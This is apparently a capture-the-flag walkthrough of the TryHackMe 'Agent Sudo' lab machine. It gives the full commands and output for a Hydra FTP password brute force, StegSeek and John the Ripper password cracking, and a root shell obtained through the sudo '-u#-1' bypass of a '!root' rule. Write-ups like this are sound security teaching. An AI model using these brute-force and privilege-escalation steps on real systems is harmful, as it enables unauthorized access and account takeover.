Today we're doing Agent Sudo room (Sorry for the creepy image)
Let's start the machine and get the IP. (For some reason, it took 5 minutes for THM to reveal the IP.)
It has plenty of small questions instead of just asking for flags.
So, as always, the first thing we'll do is export the IP so that we won't have to type it again and again.
export IP=10.49.170.143
Port Scanning
The first question is very basic. It just wants us to run an NMAP scan to check for the total number of open ports. Since it's a 1-digit answer, it must be between 0-9 (obviously not zero).
I'll use RustScan to check for open ports faster.
snap run rustscan -a $IP
Till now, I've found only X number of ports (can't reveal).
Finding the Secret Page
The next question asks about how to redirect to a secret page, so let's visit port 80.
<!DocType html>
<html>
<head>
<title>Annoucement</title>
</head>
<body>
<p>
Dear agents, <br><br>
Use your own <b>codename</b> as user-agent to access the site.
<br><br>
From,<br>
Agent R
</p>
</body>
</html>
Alright, we need to manipulate our User-Agent.
For this, we need to install an extension called "User Agent Switcher". It could be any for you, just make sure you can put custom User-Agents.
The hint says to put C as the agent.
Attention XXXXX [redacted],
Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!
From,
Agent R
There we go.
It says his password is very weak. Let's try SSH into it using Hydra and RockYou.
But it has already tried 350+ passwords and none met yet.
Let's try the FTP bruteforce using Hydra.
FTP Brute Force
FOUND IT!
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://$IP
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://10.49.170.143:21/
[21][ftp] host: 10.49.170.143 login: chris password: [XXXXXX]
1 of 1 target successfully completed, 1 valid password found
After logging in, we found 3 files.
ftp> ls
229 Entering Extended Passive Mode (|||54309|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
Use get filename to copy the files to your local machine.
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
So we need to use StegSeek.
stegseek cute-alien.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: XXXXXX
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".
Now:
cat cute-alien.jpg.out
Hi james,
Glad you find this message. Your login password is [XXXXXXXXXXXX]
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
chris
The PNG
The PNG one is tricky.
binwalk cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
So it's a ZIP file.
binwalk -e cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
It's a password-protected ZIP, so let's use John the Ripper to crack it.
zip2john 8702.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[XXXXX] (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2026-09-01 00:31) 5.555g/s 136533p/s 136533c/s 136533C/s 123456..280789
Use 7z x 8702.zip to extract the ZIP using the password.
7z x 8702.zip
Then:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Now, QXJlYTUx is some encoded string. Let's try base64 first
echo "QXJlYTUx" | base64 --decode
Area51
We need to send the picture to Area51?? I Wonder what that means
I completely forgot that we have the password for James.
Pro Tip - While SSHing, do not forget ! at the end of his password xD
Getting the User Flag
Now we can SSH into James' account.
We got our first user flag. use cat filename
Let's get the image now:
scp james@$IP:/home/james/Alien_autospy.jpg .
james@10.49.170.143's password:
Alien_autospy.jpg 100% 41KB 27.5KB/s 00:01
It's spelled "autospy", not "autopsy" bytheway.
Jumpscare warning - It's a creepy image.
Use Google Lens reverse image search to get the incident name.
Privilege Escalation
Now comes the main part, PrivEsc.
We need to find the CVE first.
Use uname -r to get the kernel details.
The kernel or Ubuntu doesn't seem to have a proper CVE.
The CVE lies in sudo permissions.
sudo -l
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
The user can run /bin/bash as any user but sudo explicitly excludes root.
But the sudo vulnerability allows the special numeric UID -1 to bypass the !root restriction.
sudo -u#-1 /bin/bash
This gives us the root shell.
Now check:
root@agent-sudo:~# whoami
root
Now cd /root and get the flag!
Thank You.
Links
TryHackMe Room:
https://tryhackme.com/room/agentsudoctf
Follow Me for more CTF Walkthroughs:
https://dev.to/hul0
